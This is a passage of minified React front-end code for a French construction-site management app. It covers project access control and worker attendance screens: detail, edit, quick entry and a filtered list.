Xv(){const{projectId:u}=nt(),c=Number(u),{token:f,can:r}=we(),{setActiveProjectId:d}=ft(),[p,g]=m.useState([]),[v,y]=m.useState([]),[x,S]=m.useState(&quot;&quot;),[b,T]=m.useState(&quot;&quot;),[Y,R]=m.useState(null),[U,w]=m.useState(!0),[k,$]=m.useState(!1),F=r(&quot;users.view&quot;);m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!r(&quot;projects.manage&quot;)){w(!1);return}d(c);let q=!1;return(async()=&gt;{try{const W=await ne(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:f});if(q||g(W.data),F){const J=await ne(&quot;/api/v1/users?per_page=200&quot;,{method:&quot;GET&quot;,token:f});q||y(J.data)}}catch(W){q||R(W instanceof ge?W.message:&quot;Erreur&quot;)}finally{q||w(!1)}})(),()=&gt;{q=!0}},[c,f,r,F,d]);const I=m.useMemo(()=&gt;new Set(p.map(q=&gt;q.user_id)),[p]),te=m.useMemo(()=&gt;v.filter(q=&gt;!I.has(q.id)),[v,I]),K=F?te.length&gt;0:!0;async function H(q){if(q.preventDefault(),!(!f||!x)){R(null),$(!0);try{await ne(`/api/v1/projects/${c}/access`,{method:&quot;POST&quot;,token:f,body:JSON.stringify({user_id:Number(x),access_role:b||null})});const W=await ne(`/api/v1/projects/${c}/access?per_page=100`,{method:&quot;GET&quot;,token:f});g(W.data),S(&quot;&quot;),T(&quot;&quot;)}catch(W){R(W instanceof ge?W.message:&quot;Ajout impossible&quot;)}finally{$(!1)}}}async function Z(q){if(!(!f||!window.confirm(&quot;Retirer cet accès ?&quot;))){R(null);try{await ne(`/api/v1/projects/${c}/access/${q.id}`,{method:&quot;DELETE&quot;,token:f}),g(W=&gt;W.filter(J=&gt;J.id!==q.id))}catch(W){R(W instanceof ge?W.message:&quot;Suppression impossible&quot;)}}}return r(&quot;projects.manage&quot;)?Number.isFinite(c)?U?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsx(le,{backTo:`/projects/${c}`,title:&quot;Accès utilisateurs&quot;}),Y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:Y}):null,K?s.jsxs(&quot;form&quot;,{onSubmit:q=&gt;void H(q),className:&quot;space-y-3 rounded-2xl border border-stone-800 bg-stone-900/30 p-4&quot;,children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Ajouter&quot;}),F?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user&quot;,className:oe,children:&quot;Utilisateur&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pa-user&quot;,className:re,value:x,onChange:q=&gt;S(q.target.value),required:!0,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),te.map(q=&gt;s.jsxs(&quot;option&quot;,{value:q.id,children:[q.full_name,&quot; (&quot;,Ai(q.role),&quot;)&quot;]},q.id))]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-user-id&quot;,className:oe,children:&quot;ID utilisateur (sans liste annuaire MVP)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pa-user-id&quot;,type:&quot;number&quot;,min:1,className:re,value:x,onChange:q=&gt;S(q.target.value),required:!0}),s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-[11px] text-stone-600&quot;,children:&quot;Seul l’entrepreneur admin peut lister les comptes ; les autres rôles saisissent l’identifiant numérique.&quot;})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;pa-role&quot;,className:oe,children:&quot;Rôle d’accès (optionnel)&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pa-role&quot;,className:re,value:b,onChange:q=&gt;T(q.target.value),placeholder:&quot;ex. lecteur&quot;})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:k,className:Dt,children:k?&quot;Ajout…&quot;:&quot;Ajouter l’accès&quot;})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Tous les utilisateurs listables ont déjà un accès sur ce chantier.&quot;}),s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;h2&quot;,{className:&quot;text-xs font-semibold uppercase tracking-wide text-stone-500&quot;,children:&quot;Accès actuels&quot;}),s.jsx(&quot;ul&quot;,{className:&quot;mt-2 space-y-2&quot;,children:p.map(q=&gt;{var W,J;return s.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 rounded-xl border border-stone-800 bg-stone-900/40 px-3 py-2 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((W=q.user)==null?void 0:W.full_name)??`Utilisateur #${q.user_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[((J=q.user)==null?void 0:J.email)??&quot;&quot;,&quot; · &quot;,q.access_role??&quot;rôle libre&quot;]})]}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;void Z(q),className:&quot;shrink-0 text-xs text-red-400 hover:text-red-300&quot;,children:&quot;Retirer&quot;})]},q.id)})}),p.length===0?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-sm text-stone-500&quot;,children:&quot;Aucun accès explicite.&quot;}):null]}),s.jsx(je,{to:`/projects/${c}`,className:&quot;text-xs text-amber-500 hover:text-amber-400&quot;,children:&quot;← Fiche chantier&quot;})]}):s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Projet invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Accès chantier&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Réservé aux profils pouvant gérer le projet.&quot;})]})}function Vv(u){return{present:&quot;Présent&quot;,absent:&quot;Absent&quot;,half_day:&quot;Demi-journée&quot;,validated:&quot;Validé&quot;}[u]??u}function Zv(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function Jv(){var F,I,te;const{attendanceId:u}=nt(),c=Number(u),{token:f,user:r,can:d}=we(),{activeProject:p,setActiveProjectId:g}=ft(),[v,y]=m.useState(null),[x,S]=m.useState(null),[b,T]=m.useState(!0),[Y,R]=m.useState(!1),U=d(&quot;attendances.manage&quot;),w=d(&quot;attendances.view&quot;)&amp;&amp;!U,k=U&amp;&amp;Zv(r==null?void 0:r.role)&amp;&amp;v&amp;&amp;v.status!==&quot;validated&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!d(&quot;attendances.view&quot;)){T(!1);return}let K=!1;return(async()=&gt;{try{const H=await ne(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:f});K||(y(H.data),g(H.data.project_id))}catch(H){K||S(H instanceof ge?H.message:&quot;Erreur&quot;)}finally{K||T(!1)}})(),()=&gt;{K=!0}},[c,f,d,g]);async function $(){if(!(!f||!v)){R(!0),S(null);try{const K=await ne(`/api/v1/attendances/${v.id}/validate`,{method:&quot;POST&quot;,token:f,body:JSON.stringify({})});y(K.data)}catch(K){S(K instanceof ge?K.message:&quot;Validation impossible&quot;)}finally{R(!1)}}}return d(&quot;attendances.view&quot;)?Number.isFinite(c)?b?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):x&amp;&amp;!v?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]}):v?s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Présence&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:((F=v.worker)==null?void 0:F.display_name)??`#${v.worker_id}`})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:Vv(v.status)})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Heures&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.hours_worked??&quot;—&quot;})]}),v.comment?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par (user)&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((I=v.created_by)==null?void 0:I.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((te=v.validated_by)==null?void 0:te.full_name)??`#${v.validated_by_user_id}`})]}):null]}),w?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (financier / consultatif).&quot;}):null,s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[U&amp;&amp;v.status!==&quot;validated&quot;?s.jsx(je,{to:`/attendances/${v.id}/edit`,className:ml,children:&quot;Modifier&quot;}):null,k?s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Y,onClick:()=&gt;void $(),className:Dt,children:Y?&quot;Validation…&quot;:&quot;Valider la présence&quot;}):null]})]}):null:s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Kv(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function $v(u){return u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;}function qm(){const{attendanceId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=$t(),{token:d,user:p,can:g}=we(),{activeProjectId:v,activeProject:y}=ft(),x=v,S=g(&quot;attendances.manage&quot;),b=S&amp;&amp;$v(p==null?void 0:p.role),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(Kv),[$,F]=m.useState(&quot;present&quot;),[I,te]=m.useState(&quot;&quot;),[K,H]=m.useState(&quot;&quot;),[Z,q]=m.useState({}),[W,J]=m.useState(null),[L,P]=m.useState(!1),[ee,de]=m.useState(f),[D,G]=m.useState([]),[ie,pe]=m.useState([]),ze=y==null?void 0:y.name;m.useEffect(()=&gt;{if(!d||!x)return;let X=!1;return(async()=&gt;{try{const[ae,ce]=await Promise.all([ne(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:d}),ne(`/api/v1/projects/${x}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:d})]);X||(G(ae.data),pe(ce.data))}catch{X||(G([]),pe([]))}})(),()=&gt;{X=!0}},[d,x]),m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){de(!1);return}let X=!1;return(async()=&gt;{try{const ae=await ne(`/api/v1/attendances/${c}`,{method:&quot;GET&quot;,token:d});if(!X){const ce=ae.data;Y(String(ce.worker_id)),U(ce.team_id?String(ce.team_id):&quot;&quot;),k(ce.date.slice(0,10)),F(ce.status),te(ce.hours_worked??&quot;&quot;),H(ce.comment??&quot;&quot;)}}catch(ae){X||J(ae instanceof ge?ae.message:&quot;Chargement impossible&quot;)}finally{X||de(!1)}})(),()=&gt;{X=!0}},[f,c,d]);const E=m.useMemo(()=&gt;{const X=[{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;}];return f&amp;&amp;b?[...X,{value:&quot;validated&quot;,label:&quot;Validé (management)&quot;}]:X},[f,b]);async function Q(X){if(X.preventDefault(),!d||!x)return;J(null),q({}),P(!0);const ce={worker_id:Number(T),team_id:R===&quot;&quot;?null:Number(R),date:w,status:$,hours_worked:I===&quot;&quot;?null:Number(I),comment:K===&quot;&quot;?null:K};try{if(f&amp;&amp;c!==null)await ne(`/api/v1/attendances/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(ce)}),r(`/attendances/${c}`);else{const{status:xe,...Se}=ce,et={...Se,status:xe};await ne(`/api/v1/projects/${x}/attendances`,{method:&quot;POST&quot;,token:d,body:JSON.stringify(et)}),r(&quot;/attendances&quot;)}}catch(xe){if(xe instanceof ge){J(xe.message);const Se=mr(xe.body);Se&amp;&amp;q(Se)}else J(&quot;Enregistrement impossible&quot;)}finally{P(!1)}}return g(&quot;attendances.view&quot;)?S?x===null?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):ee?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f?`/attendances/${c}`:&quot;/attendances&quot;,title:f?&quot;Modifier la présence&quot;:&quot;Nouvelle présence&quot;,subtitle:ze}),s.jsxs(&quot;form&quot;,{onSubmit:X=&gt;void Q(X),className:&quot;space-y-4&quot;,children:[W?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:W}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-worker&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;att-worker&quot;,required:!0,value:T,onChange:X=&gt;Y(X.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),D.map(X=&gt;s.jsx(&quot;option&quot;,{value:X.id,children:X.display_name},X.id))]}),Z.worker_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:Z.worker_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-team&quot;,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;att-team&quot;,value:R,onChange:X=&gt;U(X.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),ie.map(X=&gt;s.jsx(&quot;option&quot;,{value:X.id,children:X.name},X.id))]}),Z.team_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:Z.team_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-date&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{id:&quot;att-date&quot;,type:&quot;date&quot;,required:!0,value:w,onChange:X=&gt;k(X.target.value),className:re}),Z.date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:Z.date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-status&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{id:&quot;att-status&quot;,value:$,onChange:X=&gt;F(X.target.value),className:re,children:E.map(X=&gt;s.jsx(&quot;option&quot;,{value:X.value,children:X.label},X.value))}),Z.status?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:Z.status}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-hours&quot;,children:&quot;Heures travaillées&quot;}),s.jsx(&quot;input&quot;,{id:&quot;att-hours&quot;,type:&quot;number&quot;,step:&quot;0.25&quot;,min:0,max:24,value:I,onChange:X=&gt;te(X.target.value),className:re,placeholder:&quot;ex. 8&quot;}),Z.hours_worked?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:Z.hours_worked}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;att-comment&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;textarea&quot;,{id:&quot;att-comment&quot;,value:K,onChange:X=&gt;H(X.target.value),rows:3,className:re})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:L,className:Dt,children:L?&quot;Enregistrement…&quot;:&quot;Enregistrer&quot;})]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Lecture seule — pas d’édition (attendances.manage).&quot;})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présence&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}function Fv(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function Wv(u,c){if(u.status!==&quot;planned&quot;&amp;&amp;u.status!==&quot;active&quot;)return!1;const f=c.slice(0,10),r=u.start_date?u.start_date.slice(0,10):null,d=u.end_date?u.end_date.slice(0,10):null;return!(r&amp;&amp;r&gt;f||d&amp;&amp;d&lt;f)}function Pv(){const{token:u,user:c,can:f}=we(),{activeProjectId:r,activeProject:d}=ft(),p=r,g=f(&quot;attendances.manage&quot;),[v,y]=m.useState(Fv),[x,S]=m.useState([]),[b,T]=m.useState([]),[Y,R]=m.useState(null),[U,w]=m.useState(!0),[k,$]=m.useState(null),F=m.useCallback(async()=&gt;{if(!u||!p||!f(&quot;attendances.view&quot;)){w(!1);return}w(!0),R(null);try{const[K,H]=await Promise.all([ne(`/api/v1/projects/${p}/worker-assignments?per_page=200&amp;sort=-created_at`,{method:&quot;GET&quot;,token:u}),ne(`/api/v1/projects/${p}/attendances?date=${encodeURIComponent(v)}&amp;per_page=200`,{method:&quot;GET&quot;,token:u})]);S(K.data),T(H.data)}catch(K){R(K instanceof ge?K.message:&quot;Erreur&quot;),S([]),T([])}finally{w(!1)}},[u,p,f,v]);m.useEffect(()=&gt;{F()},[F]);const I=m.useMemo(()=&gt;{var q,W,J;const K=new Map;for(const L of x){if(!Wv(L,v))continue;const P=K.get(L.worker_id);(!P||(q=L.worker)!=null&amp;&amp;q.display_name&amp;&amp;!((W=P.worker)!=null&amp;&amp;W.display_name))&amp;&amp;K.set(L.worker_id,L)}const H=new Map;for(const L of b)H.set(L.worker_id,L);const Z=[];for(const[L,P]of K)Z.push({workerId:L,displayName:((J=P.worker)==null?void 0:J.display_name)??`Ouvrier #${L}`,attendance:H.get(L)??null});return Z.sort((L,P)=&gt;L.displayName.localeCompare(P.displayName,&quot;fr&quot;)),Z},[x,b,v]);async function te(K,H){var q,W;if(!u||!p||!g)return;$(K.workerId),R(null);const Z={worker_id:K.workerId,date:v,status:H,team_id:null,hours_worked:H===&quot;absent&quot;?null:((q=K.attendance)==null?void 0:q.hours_worked)??(H===&quot;half_day&quot;?&quot;4&quot;:&quot;8&quot;),comment:((W=K.attendance)==null?void 0:W.comment)??null};try{K.attendance?await ne(`/api/v1/attendances/${K.attendance.id}`,{method:&quot;PATCH&quot;,token:u,body:JSON.stringify(Z)}):await ne(`/api/v1/projects/${p}/attendances`,{method:&quot;POST&quot;,token:u,body:JSON.stringify(Z)}),await F()}catch(J){R(J instanceof ge?J.message:&quot;Enregistrement impossible&quot;)}finally{$(null)}}return f(&quot;attendances.view&quot;)?p===null?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Saisie rapide&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Choisissez un chantier actif.&quot;}),s.jsx(je,{to:&quot;/projects&quot;,className:jt,children:&quot;Chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;,subtitle:d?d.name:void 0}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:v,onChange:K=&gt;y(K.target.value),disabled:!g,className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-950 px-4 py-3 text-base text-stone-100&quot;})]}),Y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:Y}):null,U?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,g?null:s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule — saisie réservée aux profils avec attendances.manage.&quot;}),!U&amp;&amp;I.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucun ouvrier affecté à ce chantier à cette date.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-3&quot;,children:I.map(K=&gt;{var q;const H=(q=K.attendance)==null?void 0:q.status,Z=k===K.workerId;return s.jsxs(&quot;li&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 p-4&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-base font-semibold text-stone-100&quot;,children:K.displayName}),K.attendance?s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Actuel : &quot;,H,K.attendance.hours_worked?` · ${K.attendance.hours_worked} h`:&quot;&quot;]}):s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-amber-600/80&quot;,children:&quot;Pas encore saisi&quot;}),g?s.jsx(&quot;div&quot;,{className:&quot;mt-3 grid grid-cols-3 gap-2&quot;,children:[[&quot;present&quot;,&quot;Présent&quot;],[&quot;half_day&quot;,&quot;½ jour&quot;],[&quot;absent&quot;,&quot;Absent&quot;]].map(([W,J])=&gt;s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Z||H===&quot;validated&quot;,onClick:()=&gt;void te(K,W),className:[&quot;rounded-lg py-3 text-sm font-semibold transition&quot;,H===W?&quot;bg-amber-600 text-stone-950&quot;:&quot;border border-stone-600 bg-stone-950 text-stone-200 hover:border-amber-700&quot;,Z||H===&quot;validated&quot;?&quot;opacity-50&quot;:&quot;&quot;].join(&quot; &quot;),children:Z?&quot;…&quot;:J},W))}):null,K.attendance&amp;&amp;g&amp;&amp;H!==&quot;validated&quot;?s.jsx(je,{to:`/attendances/${K.attendance.id}/edit`,className:&quot;mt-3 block text-center text-xs text-amber-500/90 underline-offset-2 hover:underline&quot;,children:&quot;Détail / heures précises&quot;}):null]},K.workerId)})}),(c==null?void 0:c.role)===&quot;contremaitre_technicien&quot;?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-600&quot;,children:&quot;La validation management (statut « validé ») se fait depuis le détail de la ligne par un chef ou un entrepreneur.&quot;}):null]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/attendances&quot;,title:&quot;Saisie rapide&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]})}const ih=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;present&quot;,label:&quot;Présent&quot;},{value:&quot;absent&quot;,label:&quot;Absent&quot;},{value:&quot;half_day&quot;,label:&quot;Demi-journée&quot;},{value:&quot;validated&quot;,label:&quot;Validé&quot;}];function Iv(u){var c;return((c=ih.find(f=&gt;f.value===u))==null?void 0:c.label)??u}function ey(){const{token:u,can:c}=we(),{activeProjectId:f,activeProject:r}=ft(),d=f,p=c(&quot;attendances.manage&quot;),[g,v]=m.useState([]),[y,x]=m.useState(null),[S,b]=m.useState(!0),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,te]=m.useState(&quot;&quot;),[K,H]=m.useState(&quot;&quot;),[Z,q]=m.useState([]),[W,J]=m.useState([]),L=m.useCallback(async()=&gt;{if(!u||!d||!c(&quot;attendances.view&quot;)){b(!1);return}b(!0),x(null);const ee=new URLSearchParams;ee.set(&quot;per_page&quot;,&quot;100&quot;),ee.set(&quot;sort&quot;,&quot;-date&quot;),T?ee.set(&quot;date&quot;,T):(R&amp;&amp;ee.set(&quot;from&quot;,R),w&amp;&amp;ee.set(&quot;to&quot;,w)),$&amp;&amp;ee.set(&quot;worker_id&quot;,$),I&amp;&amp;ee.set(&quot;team_id&quot;,I),K&amp;&amp;ee.set(&quot;status&quot;,K);try{const de=await ne(`/api/v1/projects/${d}/attendances?${ee.toString()}`,{method:&quot;GET&quot;,token:u});v(de.data)}catch(de){x(de instanceof ge?de.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,d,c,T,R,w,$,I,K]);m.useEffect(()=&gt;{L()},[L]),m.useEffect(()=&gt;{if(!u||!d)return;let ee=!1;return(async()=&gt;{try{const[de,D]=await Promise.all([ne(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u}),ne(`/api/v1/projects/${d}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:u})]);ee||(q(de.data),J(D.data))}catch{ee||(q([]),J([]))}})(),()=&gt;{ee=!0}},[u,d]);const P=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;attendances.view&quot;)?d===null||!Number.isFinite(d)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Présences&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; dans l’en-tête pour afficher les présences.&quot;]}),s.jsx(je,{to:&quot;/projects&quot;,className:jt,children:&quot;Liste des chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{title:&quot;Présences&quot;,subtitle:P??void 0}),s.jsx(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row sm:flex-wrap&quot;,children:p?s.jsxs(s.Fragment,{children:[s.jsx(je,{to:&quot;/attendances/saisie&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;Saisie rapide&quot;}),s.jsx(je,{to:&quot;/attendances/new&quot;,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Ligne&quot;})]}):null}),s.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),s.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Jour exact&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:T,onChange:ee=&gt;{Y(ee.target.value),U(&quot;&quot;),k(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm 